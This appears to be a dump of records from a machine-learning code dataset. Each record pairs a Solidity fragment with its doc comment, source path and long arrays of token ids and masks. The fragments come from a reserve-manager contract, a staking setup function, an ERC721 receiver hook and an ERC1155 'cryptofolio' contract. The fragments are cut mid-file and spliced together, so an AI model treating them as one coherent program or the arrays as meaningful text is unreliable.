_ISGNAuthorizationManager_ = "ISGNAuthorizationManager"; bytes32 internal constant _ISGNToken_ = "ISGNToken" ; bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ; bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ; bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ; bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ; bytes32 internal constant _IWalletsTradingDataSource_ = "IWalletsTradingDataSource" ; bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ; bytes32 internal constant _WalletsTradingLimiter_SGATokenManager_ = "WalletsTLSGATokenManager" ; bytes32 internal constant _IETHConverter_ = "IETHConverter" ; bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ; bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ; bytes32 internal constant _IRateApprover_ = "IRateApprover" ; IContractAddressLocator private contractAddressLocator; /** * @dev Create the contract. * @param _contractAddressLocator The contract address locator. */ constructor(IContractAddressLocator _contractAddressLocator) internal { require(_contractAddressLocator != address(0), "locator is illegal"); contractAddressLocator = _contractAddressLocator; } /** * @dev Get the contract address locator. * @return The contract address locator. */ function getContractAddressLocator() external view returns (IContractAddressLocator) { return contractAddressLocator; } /** * @dev Get the contract address mapped to a given identifier. * @param _identifier The identifier. * @return The contract address. */ function getContractAddress(bytes32 _identifier) internal view returns (address) { return contractAddressLocator.getContractAddress(_identifier); } /** * @dev Determine whether or not the sender relates to one of the identifiers. * @param _identifiers The identifiers. * @return A boolean indicating if the sender relates to one of the identifiers. */ function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) { return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers); } /** * @dev Verify that the caller is mapped to a given identifier. * @param _identifier The identifier. */ modifier only(bytes32 _identifier) { require(msg.sender == getContractAddress(_identifier), "caller is illegal"); _; } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity-v1.12.0/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity-v1.12.0/contracts/ownership/Claimable.sol /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: contracts/saga/ReserveManager.sol /** * Details of usage of licenced software see here: https://www.saga.org/software/readme_v1 */ /** * @title Reserve Manager. */ contract ReserveManager is IReserveManager, ContractAddressLocatorHolder, Claimable { string public constant VERSION = "1.0.0"; using SafeMath for uint256; struct Wallets { address deposit; address withdraw; } struct Thresholds { uint256 min; uint256 max; uint256 mid; } Wallets public wallets; Thresholds public thresholds; uint256 public walletsSequenceNum = 0; uint256 public thresholdsSequenceNum = 0; event ReserveWalletsSaved(address _deposit, address _withdraw); event ReserveWalletsNotSaved(address _deposit, address _withdraw); event ReserveThresholdsSaved(uint256 _min, uint256 _max, uint256 _mid); event ReserveThresholdsNotSaved(uint256 _min, uint256 _max, uint256 _mid); /** * @dev Create the contract. * @param _contractAddressLocator The contract address locator. */ constructor(IContractAddressLocator _contractAddressLocator) ContractAddressLocatorHolder(_contractAddressLocator) public {} /** * @dev Return the contract which implements the IETHConverter interface. */ function getETHConverter() public view returns (IETHConverter) { return IETHConverter(getContractAddress(_IETHConverter_)); } /** * @dev Return the contract which implements the IPaymentManager interface. */ function getPaymentManager() public view returns (IPaymentManager) { return IPaymentManager(getContractAddress(_IPaymentManager_)); } /** * @dev Set the reserve wallets. * @param _walletsSequenceNum The sequence-number of the operation. * @param _deposit The address of the wallet permitted to deposit ETH into the token-contract. * @param _withdraw The address of the wallet permitted to withdraw ETH from the token-contract. */ function setWallets(uint256 _walletsSequenceNum, address _deposit, address _withdraw) external onlyOwner { require(_deposit != address(0), "deposit-wallet is illegal"); require(_withdraw != address(0), "withdraw-wallet is illegal"); if (walletsSequenceNum < _walletsSequenceNum) { walletsSequenceNum = _walletsSequenceNum; wallets.deposit = _deposit; wallets.withdraw = _withdraw; emit ReserveWalletsSaved(_deposit, _withdraw); } else { emit ReserveWalletsNotSaved(_deposit, _withdraw); } } /** * @dev Set the reserve thresholds. * @param _thresholdsSequenceNum The sequence-number of the operation. * @param _min The maximum balance which allows depositing ETH from the token-contract. * @param _max The minimum balance which allows withdrawing ETH into the token-contract. * @param _mid The balance that the deposit/withdraw recommendation functions will yield. */ function setThresholds(uint256 _thresholdsSequenceNum, uint256 _min, uint256 _max, uint256 _mid) external onlyOwner { require(_min <= _mid, "min-threshold is greater than mid-threshold"); require(_max >= _mid, "max-threshold is smaller than mid-threshold"); if (thresholdsSequenceNum < _thresholdsSequenceNum) { thresholdsSequenceNum = _thresholdsSequenceNum; thresholds.min = _min; thresholds.max = _max; thresholds.mid = _mid; emit ReserveThresholdsSaved(_min, _max, _mid); } else { emit ReserveThresholdsNotSaved(_min, _max, _mid); } } /** * @dev Get a deposit-recommendation. * @param _balance The balance of the token-contract. * @return The address of the wallet permitted to deposit ETH into the token-contract. * @return The amount that should be deposited in order for the balance to reach `mid` ETH. */ function getDepositParams(uint256 _balance) external view returns (address, uint256) { uint256 depositRecommendation = 0; uint256 sdrPaymentsSum = getPaymentManager().getPaymentsSum(); uint256 ethPaymentsSum = getETHConverter().toEthAmount(sdrPaymentsSum); if (ethPaymentsSum >= _balance || (_balance - ethPaymentsSum) <= thresholds.min){// first part of the condition // prevents underflow in the second part depositRecommendation = (thresholds.mid).add(ethPaymentsSum) - _balance;// will never underflow } return (wallets.deposit, depositRecommendation); } /** * @dev Get a withdraw-recommendation. * @param _balance The balance of the token-contract. * @return The address of the wallet permitted to withdraw ETH into the token-contract. * @return The amount that should be withdrawn in order for the balance to reach `mid` ETH. */ function getWithdrawParams(uint256 _balance) external view returns (address, uint256) { uint256 withdrawRecommendationAmount = 0; if (_balance >= thresholds.max && getPaymentManager().getNumOfPayments() == 0){// _balance >= thresholds.max >= thresholds.mid withdrawRecommendationAmount = _balance - thresholds.mid; // will never underflow } return (wallets.withdraw, withdrawRecommendationAmount); } }
* @title Reserve Manager Interface./
interface IReserveManager { function getDepositParams(uint256 _balance) external view returns (address, uint256); function getWithdrawParams(uint256 _balance) external view returns (address, uint256); }
12,887,767
[ 1, 607, 6527, 8558, 6682, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 607, 6527, 1318, 288, 203, 565, 445, 336, 758, 1724, 1370, 12, 11890, 5034, 389, 12296, 13, 3903, 1476, 1135, 261, 2867, 16, 2254, 5034, 1769, 203, 203, 565, 445, 336, 1190, 9446, 1370, 12, 11890, 5034, 389, 12296, 13, 3903, 1476, 1135, 261, 2867, 16, 2254, 5034, 1769, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xd800bec5c90B85a323501eac02F81081a0e37E1a/sources/contracts/StakingV2.sol
========== STATE VARIABLES ========== */ ========== CONSTRUCTOR ========== */
) external onlyOwner { require( _stakingToken.isContract(), "Staking: stakingToken not a contract address" ); require( _rewardToken.isContract(), "Staking: rewardToken not a contract address" ); require( _rewardAmount > 0, "Staking: rewardAmount must be greater than zero" ); require( _startTime > block.timestamp && _startTime < _stopTime, "Staking: incorrect timestamps" ); stakingToken = IERC20(_stakingToken); rewardToken = IERC20(_rewardToken); rewardAmount = _rewardAmount; startTime = _startTime; stopTime = _stopTime; rewardDuration = _stopTime.sub(_startTime); stakingCap = _stakingCap; }
2,623,172
[ 1, 1432, 631, 7442, 22965, 55, 422, 1432, 342, 422, 1432, 3492, 13915, 916, 422, 1432, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 3903, 1338, 5541, 288, 203, 3639, 2583, 12, 203, 5411, 389, 334, 6159, 1345, 18, 291, 8924, 9334, 203, 5411, 315, 510, 6159, 30, 384, 6159, 1345, 486, 279, 6835, 1758, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 203, 5411, 389, 266, 2913, 1345, 18, 291, 8924, 9334, 203, 5411, 315, 510, 6159, 30, 19890, 1345, 486, 279, 6835, 1758, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 203, 5411, 389, 266, 2913, 6275, 405, 374, 16, 203, 5411, 315, 510, 6159, 30, 19890, 6275, 1297, 506, 6802, 2353, 3634, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 203, 5411, 389, 1937, 950, 405, 1203, 18, 5508, 597, 389, 1937, 950, 411, 389, 5681, 950, 16, 203, 5411, 315, 510, 6159, 30, 11332, 11267, 6, 203, 3639, 11272, 203, 203, 3639, 384, 6159, 1345, 273, 467, 654, 39, 3462, 24899, 334, 6159, 1345, 1769, 203, 3639, 19890, 1345, 273, 467, 654, 39, 3462, 24899, 266, 2913, 1345, 1769, 203, 3639, 19890, 6275, 273, 389, 266, 2913, 6275, 31, 203, 3639, 8657, 273, 389, 1937, 950, 31, 203, 3639, 2132, 950, 273, 389, 5681, 950, 31, 203, 3639, 19890, 5326, 273, 389, 5681, 950, 18, 1717, 24899, 1937, 950, 1769, 203, 3639, 384, 6159, 4664, 273, 389, 334, 6159, 4664, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42/0x6e0a19B17fFa7a773b03178F47d8328AC3B11855/sources/browser/generalized_batching_solution.sol
TODO: figure out if registerInterface makes a difference and need to do it for 721* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} by `operator` from `from`, this function is called. It must return its Solidity selector to confirm the token transfer. If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`./
function onERC721Received( address, /*operator*/ address, /*from*/ uint256, /*tokenId*/ bytes calldata data ) external override returns (bytes4) { _decodeAndCall(data); return IERC721Receiver.onERC721Received.selector; }
16,245,426
[ 1, 6241, 30, 7837, 596, 309, 1744, 1358, 7297, 279, 7114, 471, 1608, 358, 741, 518, 364, 2371, 5340, 225, 3497, 4009, 502, 392, 288, 45, 654, 39, 27, 5340, 97, 1375, 2316, 548, 68, 1147, 353, 906, 4193, 358, 333, 6835, 3970, 288, 45, 654, 39, 27, 5340, 17, 4626, 5912, 1265, 97, 635, 1375, 9497, 68, 628, 1375, 2080, 9191, 333, 445, 353, 2566, 18, 2597, 1297, 327, 2097, 348, 7953, 560, 3451, 358, 6932, 326, 1147, 7412, 18, 971, 1281, 1308, 460, 353, 2106, 578, 326, 1560, 353, 486, 8249, 635, 326, 8027, 16, 326, 7412, 903, 506, 15226, 329, 18, 1021, 3451, 848, 506, 12700, 316, 348, 7953, 560, 598, 1375, 45, 654, 39, 27, 5340, 18, 265, 654, 39, 27, 5340, 8872, 18, 9663, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 603, 654, 39, 27, 5340, 8872, 12, 203, 3639, 1758, 16, 1748, 9497, 5549, 203, 3639, 1758, 16, 1748, 2080, 5549, 203, 3639, 2254, 5034, 16, 1748, 2316, 548, 5549, 203, 3639, 1731, 745, 892, 501, 203, 565, 262, 3903, 3849, 1135, 261, 3890, 24, 13, 288, 203, 3639, 389, 3922, 1876, 1477, 12, 892, 1769, 203, 3639, 327, 467, 654, 39, 27, 5340, 12952, 18, 265, 654, 39, 27, 5340, 8872, 18, 9663, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } /* * Copyright (C) 2020-2021 The Wolfpack * This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance * * SPDX-License-Identifier: Apache-2.0 * See the file LICENSES/README.md for more information. */ pragma solidity >=0.7.0 <0.8.0; import './interfaces/IERC1155BurnMintable.sol'; import './interfaces/IWOWSCryptofolio.sol'; import './interfaces/IWOWSERC1155.sol'; contract WOWSCryptofolio is IWOWSCryptofolio { // Our NFT token parent IWOWSERC1155 private _deployer; // The owner of the NFT token parent address private _owner; // Mapping of cryptofolio items owned by this mapping(address => uint256[]) private _cryptofolios; // List of all known tradefloors address[] public _tradefloors; ////////////////////////////////////////////////////////////////////////////// // Events ////////////////////////////////////////////////////////////////////////////// /** * @dev Triggered if sft receives new tokens from operator */ event CryptoFolioAdded( address indexed sft, address indexed operator, uint256[] tokenIds, uint256[] amounts ); ////////////////////////////////////////////////////////////////////////////// // Initialization ////////////////////////////////////////////////////////////////////////////// /** * @dev See {IWOWSCryptofolio-initialize}. */ function initialize() external override { require(address(_deployer) == address(0), 'CF: Already initialized'); _deployer = IWOWSERC1155(msg.sender); } ////////////////////////////////////////////////////////////////////////////// // Implementation of {IWOWSCryptofolio} ////////////////////////////////////////////////////////////////////////////// /** * @dev See {IWOWSCryptofolio-getCryptofolio}. */ function getCryptofolio(address tradefloor) external view override returns (uint256[] memory tokenIds, uint256 idsLength) { uint256[] storage opIds = _cryptofolios[tradefloor]; uint256[] memory result = new uint256[](opIds.length); uint256 newLength = 0; if (opIds.length > 0) { address[] memory accounts = new address[](opIds.length); for (uint256 i = 0; i < opIds.length; ++i) accounts[i] = address(this); uint256[] memory balances = IERC1155(tradefloor).balanceOfBatch(accounts, opIds); for (uint256 i = 0; i < opIds.length; ++i) if (balances[i] > 0) result[newLength++] = opIds[i]; } return (result, newLength); } /** * @dev See {IWOWSCryptofolio-setOwner}. */ function setOwner(address newOwner) external override { require(msg.sender == address(_deployer), 'CF: Only deployer'); for (uint256 i = 0; i < _tradefloors.length; ++i) { if (_owner != address(0)) IERC1155(_tradefloors[i]).setApprovalForAll(_owner, false); if (newOwner != address(0)) IERC1155(_tradefloors[i]).setApprovalForAll(newOwner, true); } _owner = newOwner; } /** * @dev See {IWOWSCryptofolio-setApprovalForAll}. */ function setApprovalForAll(address operator, bool allow) external override { require(msg.sender == _owner, 'CF: Only owner'); for (uint256 i = 0; i < _tradefloors.length; ++i) { IERC1155(_tradefloors[i]).setApprovalForAll(operator, allow); } } /** * @dev See {IWOWSCryptofolio-burn}. */ function burn() external override { require(msg.sender == address(_deployer), 'CF: Only deployer'); for (uint256 i = 0; i < _tradefloors.length; ++i) { IERC1155BurnMintable tradefloor = IERC1155BurnMintable(_tradefloors[i]); uint256[] storage opIds = _cryptofolios[address(tradefloor)]; if (opIds.length > 0) { address[] memory accounts = new address[](opIds.length); for (uint256 j = 0; j < opIds.length; ++j) accounts[j] = address(this); uint256[] memory balances = tradefloor.balanceOfBatch(accounts, opIds); tradefloor.burnBatch(address(this), opIds, balances); } delete _cryptofolios[address(tradefloor)]; } delete _tradefloors; } ////////////////////////////////////////////////////////////////////////////// // Hooks ////////////////////////////////////////////////////////////////////////////// function onERC1155Received( address, address, uint256 tokenId, uint256 amount, bytes memory ) external returns (bytes4) { uint256[] memory tokenIds = new uint256[](1); tokenIds[0] = tokenId; uint256[] memory amounts = new uint256[](1); amounts[0] = amount; _onTokensReceived(tokenIds, amounts); return this.onERC1155Received.selector; } function onERC1155BatchReceived( address, address, uint256[] memory tokenIds, uint256[] memory amounts, bytes memory ) external returns (bytes4) { _onTokensReceived(tokenIds, amounts); return this.onERC1155BatchReceived.selector; } ////////////////////////////////////////////////////////////////////////////// // Internal functionality ////////////////////////////////////////////////////////////////////////////// /** * @dev Update our collection of tradeable cryptofolio items * * This function is only allowed to be called from one of our pseudo * TokenReceiver contracts. */ function _onTokensReceived( uint256[] memory tokenIds, uint256[] memory amounts ) internal { address tradefloor = msg.sender; require(_deployer.isTradeFloor(tradefloor), 'CF: Only tradefloor'); require(tokenIds.length == amounts.length, 'CF: Input lengths differ'); uint256[] storage currentIds = _cryptofolios[tradefloor]; if (currentIds.length == 0) { IERC1155(tradefloor).setApprovalForAll(_owner, true); _tradefloors.push(tradefloor); } for (uint256 iIds = 0; iIds < tokenIds.length; ++iIds) { if (amounts[iIds] > 0) { uint256 tokenId = tokenIds[iIds]; // Search tokenId uint256 i = 0; for (; i < currentIds.length && currentIds[i] != tokenId; ++i) i; // If token was not found, insert it if (i == currentIds.length) currentIds.push(tokenId); } } emit CryptoFolioAdded(address(this), tradefloor, tokenIds, amounts); } } /* * Copyright (C) 2021 The Wolfpack * This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance * * SPDX-License-Identifier: Apache-2.0 * See the file LICENSES/README.md for more information. */ pragma solidity >=0.7.0 <0.8.0; import '@openzeppelin/contracts/token/ERC1155/IERC1155.sol'; interface IERC1155BurnMintable is IERC1155 { /** * @dev Mint amount new tokens at ID `tokenId` (MINTER_ROLE required) */ function mint( address to, uint256 tokenId, uint256 amount, bytes memory data ) external; /** * @dev Mint new token amounts at IDs `tokenIds` (MINTER_ROLE required) */ function mintBatch( address to, uint256[] memory tokenIds, uint256[] memory amounts, bytes memory data ) external; /** * @dev Burn value amount of tokens with ID `tokenId`. * * Caller must be approvedForAll. */ function burn( address account, uint256 tokenId, uint256 value ) external; /** * @dev Burn `values` amounts of tokens with IDs `tokenIds`. * * Caller must be approvedForAll. */ function burnBatch( address account, uint256[] memory tokenIds, uint256[] memory values ) external; } /* * Copyright (C) 2021 The Wolfpack * This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance * * SPDX-License-Identifier: Apache-2.0 * See the file LICENSES/README.md for more information. */ pragma solidity >=0.7.0 <0.8.0; 